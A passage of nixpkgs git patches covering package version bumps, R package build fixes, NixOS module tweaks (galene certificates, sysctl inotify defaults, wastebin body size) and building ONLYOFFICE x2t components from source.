"opentelemetry-collector"; rev = "cmd/builder/v${version}"; - hash = "sha256-YxNo5xY+Fnw690eKzLgnJHeR0qxzk+ZtOlqKIpnaFjM="; + hash = "sha256-gEwhx33L6XiEqFvMpFmBvte/Y1tZ39Xmo9T8vmmYBtw="; }; sourceRoot = "${src.name}/cmd/builder"; From 8e543296745096cd02cb93903a19f1ae0309e39c Mon Sep 17 00:00:00 2001 From: Bruno Rodrigues Date: Tue, 17 Jun 2025 08:54:22 +0200 Subject: [PATCH 048/390] rPackages.orbweaver: fixed build --- pkgs/development/r-modules/default.nix | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/pkgs/development/r-modules/default.nix b/pkgs/development/r-modules/default.nix index 81bc738ad010..e478d3cf66cf 100644 --- a/pkgs/development/r-modules/default.nix +++ b/pkgs/development/r-modules/default.nix @@ -1764,6 +1764,14 @@ let enableParallelBuilding = false; }); + orbweaver = old.orbweaver.overrideAttrs (attrs: { + postPatch = "patchShebangs configure"; + nativeBuildInputs = attrs.nativeBuildInputs ++ [ + pkgs.cargo + pkgs.rustc + ]; + }); + xml2 = old.xml2.overrideAttrs (attrs: { preConfigure = '' export LIBXML_INCDIR=${pkgs.libxml2.dev}/include/libxml2 From 78a7cd352e5b92fdcd7c4487e37745c84b281005 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 17 Jun 2025 10:14:20 +0000 Subject: [PATCH 049/390] wavebox: 10.137.9-2 -> 10.137.11-2 --- pkgs/by-name/wa/wavebox/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/wa/wavebox/package.nix b/pkgs/by-name/wa/wavebox/package.nix index 0f5cb88fa46a..22f49638e404 100644 --- a/pkgs/by-name/wa/wavebox/package.nix +++ b/pkgs/by-name/wa/wavebox/package.nix @@ -156,11 +156,11 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "wavebox"; - version = "10.137.9-2"; + version = "10.137.11-2"; src = fetchurl { url = "https://download.wavebox.app/stable/linux/deb/amd64/wavebox_${finalAttrs.version}_amd64.deb"; - hash = "sha256-knJKdBegAeC2xQWnkdvx2Xyyfr3Q9uHaXlD62PnMngs="; + hash = "sha256-sdkpTGhpBfMgczUuyIlhYw7bB91uLW1DzMLUht54eK4="; }; nativeBuildInputs = [ From 87fbf71ed68b111c1ef6c6d24d67b66f0e898f33 Mon Sep 17 00:00:00 2001 From: Arnout Engelen Date: Tue, 17 Jun 2025 11:18:24 +0200 Subject: [PATCH 050/390] nixos/galene: allow using self-signed certificates Fixes #356170 Later we might also want to make it easier to run behind nginx as a reverse proxy, for consistency with other modules. --- nixos/modules/services/web-apps/galene.nix | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/nixos/modules/services/web-apps/galene.nix b/nixos/modules/services/web-apps/galene.nix index bbc237a3ab90..969615e6490a 100644 --- a/nixos/modules/services/web-apps/galene.nix +++ b/nixos/modules/services/web-apps/galene.nix @@ -128,23 +128,13 @@ in }; config = mkIf cfg.enable { - assertions = [ - { - assertion = cfg.insecure || (cfg.certFile != null && cfg.keyFile != null); - message = '' - Galene needs both certFile and keyFile defined for encryption, or - the insecure flag. - ''; - } - ]; - systemd.services.galene = { description = "galene"; after = [ "network.target" ]; wantedBy = [ "multi-user.target" ]; preStart = '' - ${optionalString (cfg.insecure != true) '' + ${optionalString (cfg.insecure != true && cfg.certFile != null && cfg.keyFile != null) '' install -m 700 -o '${cfg.user}' -g '${cfg.group}' ${cfg.certFile} ${cfg.dataDir}/cert.pem install -m 700 -o '${cfg.user}' -g '${cfg.group}' ${cfg.keyFile} ${cfg.dataDir}/key.pem ''} From c119e10921b68225ee97871f33a6099da36d7637 Mon Sep 17 00:00:00 2001 From: Bruno Rodrigues Date: Tue, 17 Jun 2025 13:21:13 +0200 Subject: [PATCH 051/390] rPackages.tergo: fixed build --- pkgs/development/r-modules/default.nix | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/pkgs/development/r-modules/default.nix b/pkgs/development/r-modules/default.nix index 81bc738ad010..998af0596b5e 100644 --- a/pkgs/development/r-modules/default.nix +++ b/pkgs/development/r-modules/default.nix @@ -1944,6 +1944,10 @@ let patchPhase = "patchShebangs configure"; }); + tergo = old.tergo.overrideAttrs (attrs: { + patchPhase = "patchShebangs configure"; + }); + luajr = old.luajr.overrideAttrs (attrs: { hardeningDisable = [ "format" ]; postPatch = "patchShebangs configure"; From 485b06a37613b0a070eca9eac5573210bc3cc54a Mon Sep 17 00:00:00 2001 From: DavHau Date: Tue, 17 Jun 2025 18:44:41 +0700 Subject: [PATCH 052/390] nixos/sysctl: sane inotify defaults globally Currently, sane inotify limits are only set when graphical-desktop is enabled, but inotify is also used on servers by non-graphical applications --- nixos/modules/config/sysctl.nix | 21 +++++++++++++------ .../services/misc/graphical-desktop.nix | 8 ------- 2 files changed, 15 insertions(+), 14 deletions(-) diff --git a/nixos/modules/config/sysctl.nix b/nixos/modules/config/sysctl.nix index 6489b406b2c7..a45fe8d88d56 100644 --- a/nixos/modules/config/sysctl.nix +++ b/nixos/modules/config/sysctl.nix @@ -72,12 +72,21 @@ in restartTriggers = [ config.environment.etc."sysctl.d/60-nixos.conf".source ]; }; - # Hide kernel pointers (e.g. in /proc/modules) for unprivileged - # users as these make it easier to exploit kernel vulnerabilities. - boot.kernel.sysctl."kernel.kptr_restrict" = lib.mkDefault 1; + # NixOS wide defaults + boot.kernel.sysctl = { + # Hide kernel pointers (e.g. in /proc/modules) for unprivileged + # users as these make it easier to exploit kernel vulnerabilities. + "kernel.kptr_restrict" = lib.mkDefault 1; - # Improve compatibility with applications that allocate - # a lot of memory, like modern games - boot.kernel.sysctl."vm.max_map_count" = lib.mkDefault 1048576; + # Improve compatibility with applications that allocate + # a lot of memory, like modern games + "vm.max_map_count" = lib.mkDefault 1048576; + + # The default max inotify watches is 8192. + # Nowadays most apps require a good number of inotify watches, + # the value below is used by default on several other distros. + "fs.inotify.max_user_instances" = lib.mkDefault 524288; + "fs.inotify.max_user_watches" = lib.mkDefault 524288; + }; }; } diff --git a/nixos/modules/services/misc/graphical-desktop.nix b/nixos/modules/services/misc/graphical-desktop.nix index 7f1e9b39210c..e26050c123de 100644 --- a/nixos/modules/services/misc/graphical-desktop.nix +++ b/nixos/modules/services/misc/graphical-desktop.nix @@ -21,14 +21,6 @@ in }; config = lib.mkIf cfg.enable { - # The default max inotify watches is 8192. - # Nowadays most apps require a good number of inotify watches, - # the value below is used by default on several other distros. - boot.kernel.sysctl = { - "fs.inotify.max_user_instances" = lib.mkDefault 524288; - "fs.inotify.max_user_watches" = lib.mkDefault 524288; - }; - environment = { # localectl looks into 00-keyboard.conf etc."X11/xorg.conf.d/00-keyboard.conf".text = '' From 90bd8485b2b70b0689b8610c142f39c18ee72ebd Mon Sep 17 00:00:00 2001 From: Bruno Rodrigues Date: Tue, 17 Jun 2025 14:58:23 +0200 Subject: [PATCH 053/390] rPackages.tabs: fixed build --- pkgs/development/r-modules/default.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/pkgs/development/r-modules/default.nix b/pkgs/development/r-modules/default.nix index 81bc738ad010..0a7ebc4637b8 100644 --- a/pkgs/development/r-modules/default.nix +++ b/pkgs/development/r-modules/default.nix @@ -1578,6 +1578,7 @@ let "SpatialDecon" "stepR" "styler" + "tabs" "teal_code" "TreeTools" "TreeSearch" From 08e2c2dfb7474f5188907dc42eed6d46558244a9 Mon Sep 17 00:00:00 2001 From: Bruno Rodrigues Date: Tue, 17 Jun 2025 15:03:03 +0200 Subject: [PATCH 054/390] rPackages.gglinedensity: fixed build --- pkgs/development/r-modules/default.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/pkgs/development/r-modules/default.nix b/pkgs/development/r-modules/default.nix index 81bc738ad010..401bf48e26d3 100644 --- a/pkgs/development/r-modules/default.nix +++ b/pkgs/development/r-modules/default.nix @@ -967,6 +967,7 @@ let cargo rustc ]; + gglinedensity = [ pkgs.cargo ]; trackViewer = [ pkgs.zlib.dev ]; themetagenomics = [ pkgs.zlib.dev ]; Rsymphony = [ pkgs.pkg-config ]; From f3d037c7dd88f6f1c0c5759a937531c9709a6ec2 Mon Sep 17 00:00:00 2001 From: Bruno Rodrigues Date: Tue, 17 Jun 2025 15:10:40 +0200 Subject: [PATCH 055/390] rPackages.red: fixed build --- pkgs/development/r-modules/default.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/pkgs/development/r-modules/default.nix b/pkgs/development/r-modules/default.nix index 81bc738ad010..8f7b6b9cdebd 100644 --- a/pkgs/development/r-modules/default.nix +++ b/pkgs/development/r-modules/default.nix @@ -1568,6 +1568,7 @@ let "PCRA" "PSCBS" "iemisc" + "red" "repmis" "R_cache" "R_filesets" From d6f9b46f7d5a7320576a0b91fa6fcf31f6defcdd Mon Sep 17 00:00:00 2001 From: transcaffeine Date: Tue, 17 Jun 2025 18:47:27 +0200 Subject: [PATCH 056/390] element-web-unwrapped: 1.11.103 -> 1.11.104 Release notes: https://github.com/element-hq/element-web/releases/tag/v1.11.104 Full changelog: https://github.com/element-hq/element-web/compare/v1.11.103...v1.11.104 --- pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix index 71084ad29a4b..0328f2f9bcd6 100644 --- a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix +++ b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix @@ -1,7 +1,7 @@ { - "version" = "1.11.103"; + "version" = "1.11.104"; "hashes" = { - "webSrcHash" = "sha256-yTqrvKa9B6gJ3+WR6jJSud+L/rGQsm7DkLHuicrI5Es="; - "webYarnHash" = "sha256-ys/H9AG1EdGHVMTtluqNSg/aW/OOA9/x79hErgiKef0="; + "webSrcHash" = "sha256-OwkJccflilM98SklTb6yt6t2/71ITQXi3br7ICZ8z0k="; + "webYarnHash" = "sha256-PIxue2M0Hn8MeTRt7qJBtVJZ4hJzBbc0za+c7MEDbio="; }; } From 99d8933424f9e72feb46de8fa3ce859070f8ec4e Mon Sep 17 00:00:00 2001 From: transcaffeine Date: Tue, 17 Jun 2025 18:55:15 +0200 Subject: [PATCH 057/390] element-desktop: 1.11.103 -> 1.11.104 Release notes: https://github.com/element-hq/element-desktop/releases/tag/v1.11.104 Full changelog: https://github.com/element-hq/element-desktop/compare/v1.11.103...v1.11.104 --- pkgs/by-name/el/element-desktop/element-desktop-pin.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix index a4d2d573ccc1..d32c69e661d8 100644 --- a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix +++ b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix @@ -1,7 +1,7 @@ { - "version" = "1.11.103"; + "version" = "1.11.104"; "hashes" = { - "desktopSrcHash" = "sha256-GKuIwoco8O9EjXrE7jGdfTDfWTyhozDtzrJFVH+uvaQ="; - "desktopYarnHash" = "sha256-/Gy/sYk8EBWU07zXwPl0zsDW5ADRq1j5PH4lPFe8dxk="; + "desktopSrcHash" = "sha256-y2lPa7Qj+y4XtfvGtJ8mJZ343syDquTqjkqeuqCUMYU="; + "desktopYarnHash" = "sha256-L1Yha0o4T5HefoWdRcfqMB/gOPEoQoY4iSED1zWK40g="; }; } From 7b95d7c3ded22e68a68e0c1fbe060948cbea6658 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Wed, 18 Jun 2025 01:13:51 +0000 Subject: [PATCH 058/390] grpc-gateway: 2.26.3 -> 2.27.0 --- pkgs/by-name/gr/grpc-gateway/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/gr/grpc-gateway/package.nix b/pkgs/by-name/gr/grpc-gateway/package.nix index 253cf66661af..994dab141fd2 100644 --- a/pkgs/by-name/gr/grpc-gateway/package.nix +++ b/pkgs/by-name/gr/grpc-gateway/package.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "grpc-gateway"; - version = "2.26.3"; + version = "2.27.0"; src = fetchFromGitHub { owner = "grpc-ecosystem"; repo = "grpc-gateway"; tag = "v${version}"; - sha256 = "sha256-e/TPCli2wXyzEpn84hZdtVaAmXJK+d0vMRLilXohiN8="; + sha256 = "sha256-q1jYruLeXjXu5KmUpwSxzwLusKxSrf2RMirwdPN0Uf4="; }; - vendorHash = "sha256-Des02yenoa6am0xIqto7xlOWHh44F5EBVEhi9t+v644="; + vendorHash = "sha256-Sa2AOwX0McSGQs1Y0evVhdhpjHNNcgyouOtu6H9/AYI="; ldflags = [ "-X=main.version=${version}" From fbda3e311c78590b7d623240e69f116fea97d0a3 Mon Sep 17 00:00:00 2001 From: Arnout Engelen Date: Tue, 10 Jun 2025 14:59:52 +0200 Subject: [PATCH 059/390] gst_all_1.gst-devtools: update static-files dependency To include https://github.com/static-files-rs/static-files/pull/14 --- .../libraries/gstreamer/devtools/default.nix | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/pkgs/development/libraries/gstreamer/devtools/default.nix b/pkgs/development/libraries/gstreamer/devtools/default.nix index 79f0c59b727b..aaa3770b6257 100644 --- a/pkgs/development/libraries/gstreamer/devtools/default.nix +++ b/pkgs/development/libraries/gstreamer/devtools/default.nix @@ -41,9 +41,13 @@ stdenv.mkDerivation (finalAttrs: { }; cargoDeps = rustPlatform.fetchCargoVendor { - inherit (finalAttrs) src cargoRoot; + inherit (finalAttrs) + src + patches + cargoRoot + ; name = "gst-devtools-${finalAttrs.version}"; - hash = "sha256-p26jeKRDSPTgQzf4ckhLPSFa8RKsgkjUEXJG8IlPPZo="; + hash = "sha256-GLxevEwoTgS7kmDlul0AA2wIFRY7js8Ij4UIu1ZQf8I="; }; patches = [ @@ -54,6 +58,13 @@ stdenv.mkDerivation (finalAttrs: { stripLen = 2; hash = "sha256-CpBFTmdn+VO6ZeNe6NZR6ELvakZqQdaF3o3G5TSDuUU="; }) + # dots-viewer: sort static files + # https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/9208 + (fetchpatch { + url = "https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/b3099f78775eab1ac19a9e163c0386e01e74b768.patch"; + stripLen = 2; + hash = "sha256-QRHqbZ6slYcwGl+o9Oi4jV+ANMorCED4cQV5qDS74eg="; + }) ]; depsBuildBuild = [ From 5034dd73846be1264d9f44114da5b6a88494e2fc Mon Sep 17 00:00:00 2001 From: jack rosenberg <56937175+jackrosenberg@users.noreply.github.com> Date: Wed, 18 Jun 2025 11:23:42 +0200 Subject: [PATCH 060/390] nixos/wastebin: update default POST size to match upstream --- nixos/modules/services/misc/wastebin.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nixos/modules/services/misc/wastebin.nix b/nixos/modules/services/misc/wastebin.nix index 499b071e4f3e..c24067a50d03 100644 --- a/nixos/modules/services/misc/wastebin.nix +++ b/nixos/modules/services/misc/wastebin.nix @@ -107,7 +107,7 @@ in }; WASTEBIN_MAX_BODY_SIZE = mkOption { - default = 1024; + default = 1048576; type = types.int; description = "Number of bytes to accept for POST requests"; }; From 219a846ea46777a05274cdd109cf8e17c733e042 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Wed, 18 Jun 2025 12:48:27 +0000 Subject: [PATCH 061/390] liana: 11.0 -> 11.1 --- pkgs/by-name/li/liana/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/li/liana/package.nix b/pkgs/by-name/li/liana/package.nix index 6f04130cc54d..99f89b5f4fbf 100644 --- a/pkgs/by-name/li/liana/package.nix +++ b/pkgs/by-name/li/liana/package.nix @@ -39,17 +39,17 @@ let in rustPlatform.buildRustPackage rec { pname = "liana"; - version = "11.0"; # keep in sync with lianad + version = "11.1"; # keep in sync with lianad src = fetchFromGitHub { owner = "wizardsardine"; repo = "liana"; tag = "v${version}"; - hash = "sha256-mpHXaqMbThjCSJIZqg0t7Zz0hCsC3sSrSf3Npn19RpA="; + hash = "sha256-trP6jnhMPASPkV7VwSHCl7gUhmx4F+68YK/QK+SPPZg="; }; useFetchCargoVendor = true; - cargoHash = "sha256-nyWTcKGTVCS1MHmSCiF2aEUtQaVyUfLYzJed+APrdCo="; + cargoHash = "sha256-Zmxb4ZxuIyyKWrGaX3/1UHgkmo/XtqIHuP9luAnzgm4="; nativeBuildInputs = [ pkg-config From 02ec16588d0fc6eb00f6856dc8060ebc2bf5bfec Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Wed, 18 Jun 2025 13:40:49 +0000 Subject: [PATCH 062/390] lianad: 11.0 -> 11.1 --- pkgs/by-name/li/lianad/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/li/lianad/package.nix b/pkgs/by-name/li/lianad/package.nix index c92000eb3564..51800aee1981 100644 --- a/pkgs/by-name/li/lianad/package.nix +++ b/pkgs/by-name/li/lianad/package.nix @@ -8,17 +8,17 @@ rustPlatform.buildRustPackage rec { pname = "lianad"; - version = "11.0"; # keep in sync with liana + version = "11.1"; # keep in sync with liana src = fetchFromGitHub { owner = "wizardsardine"; repo = "liana"; rev = "v${version}"; - hash = "sha256-mpHXaqMbThjCSJIZqg0t7Zz0hCsC3sSrSf3Npn19RpA="; + hash = "sha256-trP6jnhMPASPkV7VwSHCl7gUhmx4F+68YK/QK+SPPZg="; }; useFetchCargoVendor = true; - cargoHash = "sha256-nyWTcKGTVCS1MHmSCiF2aEUtQaVyUfLYzJed+APrdCo="; + cargoHash = "sha256-Zmxb4ZxuIyyKWrGaX3/1UHgkmo/XtqIHuP9luAnzgm4="; buildInputs = [ udev ]; From bd2a558f20ebd8a4cad9f108b0fce812e0c4521b Mon Sep 17 00:00:00 2001 From: Thomas Gerbet Date: Wed, 18 Jun 2025 21:51:09 +0200 Subject: [PATCH 063/390] trafficserver: 9.2.10 -> 9.2.11 Fixes CVE-2025-31698 and CVE-2025-49763. https://www.openwall.com/lists/oss-security/2025/06/17/7 Changes: https://raw.githubusercontent.com/apache/trafficserver/refs/tags/9.2.11/CHANGELOG-9.2.11 --- pkgs/by-name/tr/trafficserver/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/tr/trafficserver/package.nix b/pkgs/by-name/tr/trafficserver/package.nix index b4b10ef80581..a8bce43c9c6f 100644 --- a/pkgs/by-name/tr/trafficserver/package.nix +++ b/pkgs/by-name/tr/trafficserver/package.nix @@ -48,11 +48,11 @@ stdenv.mkDerivation rec { pname = "trafficserver"; - version = "9.2.10"; + version = "9.2.11"; src = fetchzip { url = "mirror://apache/trafficserver/trafficserver-${version}.tar.bz2"; - hash = "sha256-SS/xug6YwjGKjlZzuH/oqolrtYG03BER/52fCgBj/dw="; + hash = "sha256-WFABr7+JsUbQagLFK0OXZ20t4QCuYrozeaV4fKO/c2s="; }; # NOTE: The upstream README indicates that flex is needed for some features, From 5254700b73d8a15489248ef8008dccd89a90692e Mon Sep 17 00:00:00 2001 From: Michael Daniels Date: Wed, 18 Jun 2025 16:48:02 -0400 Subject: [PATCH 064/390] linuxPackages.rtw88: 0-unstable-2024-08-22 -> 0-unstable-2025-05-08 Changes: lwfinger/rtw88@764a1ee307..461b696b51 --- pkgs/os-specific/linux/rtw88/default.nix | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/pkgs/os-specific/linux/rtw88/default.nix b/pkgs/os-specific/linux/rtw88/default.nix index 70c36a670bc9..f29474ae34b8 100644 --- a/pkgs/os-specific/linux/rtw88/default.nix +++ b/pkgs/os-specific/linux/rtw88/default.nix @@ -4,6 +4,7 @@ fetchFromGitHub, kernel, kernelModuleMakeFlags, + unstableGitUpdater, }: let @@ -11,13 +12,13 @@ let in stdenv.mkDerivation { pname = "rtw88"; - version = "0-unstable-2024-08-22"; + version = "0-unstable-2025-05-08"; src = fetchFromGitHub { owner = "lwfinger"; repo = "rtw88"; - rev = "764a1ee307d7e5720a93b8139c94d76737eced91"; - hash = "sha256-xHo9Qww3w36/UFhMhoLjSzZKpC2VKywJZlCPL30XirA="; + rev = "461b696b51317ba4ca585a4ddb32f2e72cd4efc9"; + hash = "sha256-PBAON2s7gKvpO40vppahEtkWJ4HIjbOjfUz+fx87gIA="; }; nativeBuildInputs = kernel.moduleBuildDependencies; @@ -37,6 +38,8 @@ stdenv.mkDerivation { runHook postInstall ''; + passthru.updateScript = unstableGitUpdater { hardcodeZeroVersion = true; }; + meta = with lib; { description = "Backport of the latest Realtek RTW88 driver from wireless-next for older kernels"; homepage = "https://github.com/lwfinger/rtw88"; From 48f276fab4e3bf3e8ea100cc0ed143cf4a99283b Mon Sep 17 00:00:00 2001 From: Thomas Gerbet Date: Wed, 18 Jun 2025 23:05:01 +0200 Subject: [PATCH 065/390] perlPackages.CryptX: 0.080 -> 0.087 Fixes CVE-2025-40914. Changes: https://metacpan.org/release/MIK/CryptX-0.087/source/Changes --- pkgs/top-level/perl-packages.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix index ca3632f10a9e..a639fed1794c 100644 --- a/pkgs/top-level/perl-packages.nix +++ b/pkgs/top-level/perl-packages.nix @@ -7905,10 +7905,10 @@ with self; CryptX = buildPerlPackage { pname = "CryptX"; - version = "0.080"; + version = "0.087"; src = fetchurl { - url = "mirror://cpan/authors/id/M/MI/MIK/CryptX-0.080.tar.gz"; - hash = "sha256-tFe3khlKbJwT8G/goLXqFYllwygvOFypPh8AorM+fok="; + url = "mirror://cpan/authors/id/M/MI/MIK/CryptX-0.087.tar.gz"; + hash = "sha256-gHDsKVFg1I83bY/xssvwvxUtqfIDOTk4LwDxP3SM030="; }; meta = { description = "Cryptographic toolkit"; From 2cf6f62eb5459dc296c0566b2cbbe9828198a3b2 Mon Sep 17 00:00:00 2001 From: Michael Daniels Date: Wed, 18 Jun 2025 17:51:32 -0400 Subject: [PATCH 066/390] mandelbulber: 2.32 -> 2.33 Diff: https://github.com/buddhi1980/mandelbulber2/compare/2.32...2.33 Release notes: https://github.com/buddhi1980/mandelbulber2/releases/tag/2.33 --- pkgs/applications/graphics/mandelbulber/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/graphics/mandelbulber/default.nix b/pkgs/applications/graphics/mandelbulber/default.nix index e57017bb6a34..c00ba7439514 100644 --- a/pkgs/applications/graphics/mandelbulber/default.nix +++ b/pkgs/applications/graphics/mandelbulber/default.nix @@ -17,13 +17,13 @@ assert withOpenCL -> ocl-icd != null; stdenv.mkDerivation rec { pname = "mandelbulber"; - version = "2.32"; + version = "2.33"; src = fetchFromGitHub { owner = "buddhi1980"; repo = "mandelbulber2"; rev = version; - sha256 = "sha256-amNNRuuk7qtcyXUVLEW71yEETExgKw48HeQQyxbi8BE="; + sha256 = "sha256-3PPgH9E+k2DFm8ib1bmvTsllQ9kYi3oLDwPHcs1Otac="; }; nativeBuildInputs = [ From fe3e7c9efd64810ec1a29d475ea9984b51f1a204 Mon Sep 17 00:00:00 2001 From: Gaetan Lepage Date: Thu, 19 Jun 2025 08:28:08 +0200 Subject: [PATCH 067/390] python3Packages.orbax-checkpoint: 0.11.15 -> 0.11.16 Diff: https://github.com/google/orbax/compare/refs/tags/v0.11.15...refs/tags/v0.11.16 Changelog: https://github.com/google/orbax/blob/v0.11.16/checkpoint/CHANGELOG.md --- pkgs/development/python-modules/orbax-checkpoint/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/orbax-checkpoint/default.nix b/pkgs/development/python-modules/orbax-checkpoint/default.nix index 37a4c014b7b2..ea5d64dbeaa4 100644 --- a/pkgs/development/python-modules/orbax-checkpoint/default.nix +++ b/pkgs/development/python-modules/orbax-checkpoint/default.nix @@ -35,14 +35,14 @@ buildPythonPackage rec { pname = "orbax-checkpoint"; - version = "0.11.15"; + version = "0.11.16"; pyproject = true; src = fetchFromGitHub { owner = "google"; repo = "orbax"; tag = "v${version}"; - hash = "sha256-yy/BsmkBLlS6bd9I8rKKifRG+/T5/0XV00fq07LivPE="; + hash = "sha256-C5glSasB4LtxcaDx8U5rn7Y5J39+ieP0Mh2ITE1y1k8="; }; sourceRoot = "${src.name}/checkpoint"; From 4136b386ed68dde611f41606f4a67be5b577c2e7 Mon Sep 17 00:00:00 2001 From: Arnout Engelen Date: Sat, 7 Jun 2025 16:44:49 +0200 Subject: [PATCH 068/390] x2t: avoid dependency on upstream deb Build sdkjs and web-apps from source This can hopefully eventually be shared with documentserver, but let's take it one step at a time Make explicit that only linux is supported (previously that was implicit because onlyoffice-documentserver only supported linux) --- pkgs/by-name/x2/x2t/package.nix | 127 ++++++++++++++++-- .../x2/x2t/web-apps-avoid-phantomjs.patch | 12 ++ 2 files changed, 125 insertions(+), 14 deletions(-) create mode 100644 pkgs/by-name/x2/x2t/web-apps-avoid-phantomjs.patch diff --git a/pkgs/by-name/x2/x2t/package.nix b/pkgs/by-name/x2/x2t/package.nix index 6a46fbe4a8cd..e067a41fbe46 100644 --- a/pkgs/by-name/x2/x2t/package.nix +++ b/pkgs/by-name/x2/x2t/package.nix @@ -1,17 +1,23 @@ { - stdenv, - lib, - fetchFromGitHub, - pkg-config, + autoconf, + automake, boost, - icu, - qt5, + buildNpmPackage, + closurecompiler, + fetchFromGitHub, + glibc, harfbuzz, + icu, + jdk, + lib, + nodejs, + nodePackages, # needs to be static and built with MD2 support! openssl, + pkg-config, + qt5, runCommand, - nodejs, - onlyoffice-documentserver, + stdenv, writeScript, x2t, }: @@ -104,6 +110,96 @@ let rev = core-rev; hash = "sha256-EXeqG8MJWS1asjFihnuMnDSHeKt2x+Ui+8MYK50AnSY="; }; + web-apps = buildNpmPackage (finalAttrs: { + name = "onlyoffice-core-webapps"; + + #src = /home/aengelen/d/onlyoffice/documentserver/web-apps; + #sourceRoot = "/build/web-apps/build"; + src = fetchFromGitHub { + owner = "ONLYOFFICE"; + repo = "web-apps"; + # rev that the 'web-apps' submodule in documentserver points at + rev = "5255c27b1af64f6edf08d1aba20a23b8149e338c"; + hash = "sha256-49v2h+ILQ0X/gNHny6LQcj94A6h7nS99liUAnLRNxzw="; + }; + sourceRoot = "${finalAttrs.src.name}/build"; + + patches = [ + ./web-apps-avoid-phantomjs.patch + ]; + + npmDepsHash = "sha256-Uen7gl6w/0A4MDk+7j+exkdwfCYqMSPJidad8AM60eQ="; + + nativeBuildInputs = [ + autoconf + automake + nodePackages.grunt-cli + ]; + + dontNpmBuild = true; + + postBuild = '' + chmod u+w .. + mkdir ../deploy + chmod u+w -R ../apps + grunt --force + ''; + + installPhase = '' + runHook preInstall + + cp -r ../deploy/web-apps $out + + runHook postInstall + ''; + }); + sdkjs = buildNpmPackage (finalAttrs: { + name = "onlyoffice-core-sdkjs"; + src = fetchFromGitHub { + owner = "ONLYOFFICE"; + repo = "sdkjs"; + # rev that the 'sdkjs' submodule in documentserver points at + rev = "0e50652cb08c7753a9ab72d0558560ada5d43046"; + hash = "sha256-fApr34aT0X8ffPwbsUEWnA3SK8pT5RKNan3YxzhvtAU="; + }; + sourceRoot = "${finalAttrs.src.name}/build"; + + postPatch = '' + cp npm-shrinkwrap.json package-lock.json + ''; + + npmDepsHash = "sha256-Hpf+z3RGqZ1LTdow6xP00hNmWf4xs+KnVBj4NbPW4uM="; + + dontNpmBuild = true; + + nativeBuildInputs = [ + nodePackages.grunt-cli + jdk + ]; + + postBuild = '' + chmod u+w .. + + # the one from node_modules seems a weird hybrid between dynamic and static linking + cp ${closurecompiler}/bin/closure-compiler node_modules/google-closure-compiler-linux/compiler + + grunt + ''; + + installPhase = '' + runHook preInstall + + cp -r ../deploy/sdkjs $out + + runHook postInstall + ''; + }); + dictionaries = fetchFromGitHub { + owner = "ONLYOFFICE"; + repo = "dictionaries"; + tag = "v8.2.0.103"; + hash = "sha256-3BwWAvnw0RCD6fxTCRstJSrF5QgfVNVBe8rN1hHhCoU="; + }; buildCoreComponent = rootdir: attrs: stdenv.mkDerivation ( @@ -630,12 +726,12 @@ buildCoreComponent "X2tConverter/build/Qt" { mkdir -p $out/etc cat >$out/etc/DoctRenderer.config < - ${onlyoffice-documentserver}/var/www/onlyoffice/documentserver/sdkjs/common/Native/native.js - ${onlyoffice-documentserver}/var/www/onlyoffice/documentserver/sdkjs/common/Native/jquery_native.js + ${sdkjs}/common/Native/native.js + ${sdkjs}//common/Native/jquery_native.js ${allfonts}/converter/AllFonts.js - ${onlyoffice-documentserver}/var/www/onlyoffice/documentserver/web-apps/vendor/xregexp/xregexp-all-min.js - ${onlyoffice-documentserver}/var/www/onlyoffice/documentserver/sdkjs - ${onlyoffice-documentserver}/var/www/onlyoffice/documentserver/dictionaries + ${web-apps}/vendor/xregexp/xregexp-all-min.js + ${sdkjs} + ${dictionaries} EOF @@ -669,6 +765,9 @@ buildCoreComponent "X2tConverter/build/Qt" { epubfile fb2file iworkfile + web-apps + sdkjs + dictionaries ; }; meta = { @@ -676,6 +775,6 @@ buildCoreComponent "X2tConverter/build/Qt" { homepage = "https://github.com/ONLYOFFICE/core/tree/master/X2tConverter"; license = lib.licenses.agpl3Only; maintainers = with lib.maintainers; [ raboof ]; - platforms = lib.platforms.all; + platforms = lib.platforms.linux; }; } diff --git 